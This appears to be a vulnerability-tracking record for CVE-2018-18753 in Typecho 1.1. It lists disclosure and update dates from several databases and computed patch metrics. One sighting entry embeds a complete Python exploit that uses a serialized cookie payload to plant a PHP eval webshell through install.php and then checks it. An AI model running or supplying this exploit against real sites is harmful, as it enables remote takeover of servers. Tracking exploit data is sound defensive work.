{"metadata": {"vulnerability": "CVE-2018-18753", "count": 16, "kinds": {"milestone": 4, "sighting": 1, "kev": 0, "other": 11}, "linked_omitted": 0}, "data": [{"timestamp": "2018-10-28T00:00:00Z", "date_only": false, "value": "2018-10-28T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2018-18753", "field": "cveMetadata.dateReserved"}, {"timestamp": "2018-10-28T17:00:00Z", "date_only": false, "value": "2018-10-28T17:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-18753", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2018-10-28T17:00:00Z", "date_only": false, "value": "2018-10-28T17:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2018-18753", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2018-10-29T12:29:00Z", "date_only": false, "value": "2018-10-29T12:29:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-CW4F-C442-GQWH", "record": "GHSA-CW4F-C442-GQWH", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2018-10-29T12:29:00Z", "date_only": false, "value": "2018-10-29T12:29Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2018-18753", "record": "GSD-2018-18753", "field": "namespaces.nvd.nist.gov.publishedDate", "linked_record": true}, {"timestamp": "2018-10-29T12:29:09.867Z", "date_only": false, "value": "2018-10-29T12:29:09.867", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2018-18753", "record": "FKIE_CVE-2018-18753", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2018-11-01T00:00:00Z", "date_only": true, "value": "2018-11-01", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2018-22312", "record": "CNVD-2018-22312", "field": "openTime", "linked_record": true}, {"timestamp": "2018-11-01T00:00:00Z", "date_only": true, "value": "2018-11-01", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2018-22312", "record": "CNVD-2018-22312", "field": "submitTime", "linked_record": true}, {"timestamp": "2019-01-28T13:22:00Z", "date_only": false, "value": "2019-01-28T13:22Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2018-18753", "record": "GSD-2018-18753", "field": "namespaces.nvd.nist.gov.lastModifiedDate", "linked_record": true}, {"timestamp": "2022-05-14T01:38:49Z", "date_only": false, "value": "2022-05-14T01:38:49Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-CW4F-C442-GQWH", "record": "GHSA-CW4F-C442-GQWH", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-05-14T01:38:49Z", "date_only": false, "value": "2022-05-14T01:38:49Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-CW4F-C442-GQWH", "record": "GHSA-CW4F-C442-GQWH", "field": "modified", "linked_record": true}, {"timestamp": "2023-12-13T01:22:36.490Z", "date_only": false, "value": "2023-12-13T01:22:36.490253Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2018-18753", "record": "GSD-2018-18753", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2024-08-05T11:16:00.436Z", "date_only": false, "value": "2024-08-05T11:16:00.436Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2018-18753", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-17T03:03:06.485Z", "date_only": false, "value": "2024-09-17T03:03:06.485Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2018-18753", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-06-17T01:47:50.117Z", "date_only": false, "value": "2026-06-17T01:47:50.117", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2018-18753", "record": "FKIE_CVE-2018-18753", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-11-16T13:44:00Z", "date_only": false, "value": "2026-11-16T13:44:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/Titoot/fece96435dd3a697977568eacab1ef5c", "record": "CVE-2018-18753", "field": "creation_timestamp", "uuid": "4b4ab97a-601f-4aeb-9457-cab7a37da20e", "content": "#!/usr/bin/env python3\n# Typecho 1.1 install.php deserialization RCE (CVE-2018-18753)\n# Adapted from the public PoC in BaizeSec/bylibrary\n#   (docs/\u6f0f\u6d1e\u5e93/01-CMS\u6f0f\u6d1e/typeecho/typecho\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e.md)\n# Original 2017 report: github.com/typecho/typecho/issues/619\n# NOTE: target must run PHP 5.x (PHP 7 blocks the assert gadget).\n#\n# Chain: install.php unserializes __typecho_config (cookie) -&gt; Typecho_Feed\n# -&gt; author = Typecho_Request -&gt; _params.screenName passed through _filter\n# ['assert'] -&gt; assert() evaluates the payload -&gt; writes a webshell.\n# This variant plants p0.php = \n#\n# Trigger order:\n#   1. plain GET /install.php with the cookie only (works on this challenge:\n#      install.php is patched so the unserialize branch fires whenever the\n#      cookie is present - no query string, no Referer needed)\n#   2. GET /install.php?finish=1 + Referer (stock Typecho 1.1 behavior, for\n#      instances that keep the original file)\n# The BaizeSec original only ever GETs the site root, which cannot work: only\n# install.php unserializes the cookie, and index.php ignores it.\n\nimport sys\nimport requests\n\nPAYLOAD = (\n    \"YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToi\"\n    \"AFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVj\"\n    \"aG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVl\"\n    \"ZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6\"\n    \"MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6\"\n    \"Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNj\"\n    \"cmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9w\"\n    \"aHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVl\"\n    \"c3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVm\"\n    \"aXgiO3M6NzoidHlwZWNobyI7fQ==\"\n)\n\n\ndef check(base):\n    \"\"\"POST the planted shell to see if this trigger worked.\"\"\"\n    s = requests.Session()\n    try:\n        r = s.post(base + \"/p0.php\", data={\"p0\": 'echo \"sectest\";'},\n                   timeout=5, allow_redirects=False)\n        return \"sectest\" in r.text\n    except requests.RequestException:\n        return False\n\n\ndef trigger(url, extra_headers):\n    \"\"\"Send the gadget cookie to one install.php URL; None on network error.\"\"\"\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0\",\n        \"Cookie\": \"__typecho_config=\" + PAYLOAD,\n    }\n    headers.update(extra_headers)\n    try:\n        r = requests.get(url, headers=headers, timeout=5, allow_redirects=False)\n        return r.status_code\n    except requests.RequestException as e:\n        print(\"[-] request failed:\", e)\n        return None\n\n\ndef main():\n    base = sys.argv[1].rstrip(\"/\") if len(sys.argv) &gt; 1 else \"http://127.0.0.1\"\n\n    attempts = [\n        (\"GET /install.php (cookie only)\", base + \"/install.php\", {}),\n        (\"GET /install.php?finish=1 (+Referer)\", base + \"/install.php?finish=1\",\n         {\"Referer\": base}),\n    ]\n    for label, url, extra in attempts:\n        status = trigger(url, extra)\n        print(\"[*]\", label, \"-&gt;\", status)\n        if status is not None and check(base):\n            print(\"[+] webshell planted at\", base + \"/p0.php\", \"(POST param: p0)\")\n            return\n        print(\"[-] no shell after this trigger, trying next...\")\n\n    print(\"[-] all triggers failed (PHP version may be &gt;= 7, or install.php locked)\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "url": "https://gist.github.com/Titoot/fece96435dd3a697977568eacab1ef5c"}], "metrics": {"as_of": "2026-11-16T21:51:43.220Z", "anchors": {"origin": {"timestamp": "2018-10-28T17:00:00Z", "date_only": false, "value": "2018-10-28T17:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-18753", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2018-10-28T17:00:00Z", "date_only": false, "value": "2018-10-28T17:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-18753", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 254119903.220599, "hours": 70588.86200572194, "days": 2941.2025835717477, "min_seconds": 254119903.220599, "max_seconds": 254119903.220599, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2018-10-28T17:00:00Z", "date_only": false, "value": "2018-10-28T17:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-18753", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-16T21:51:43.220Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
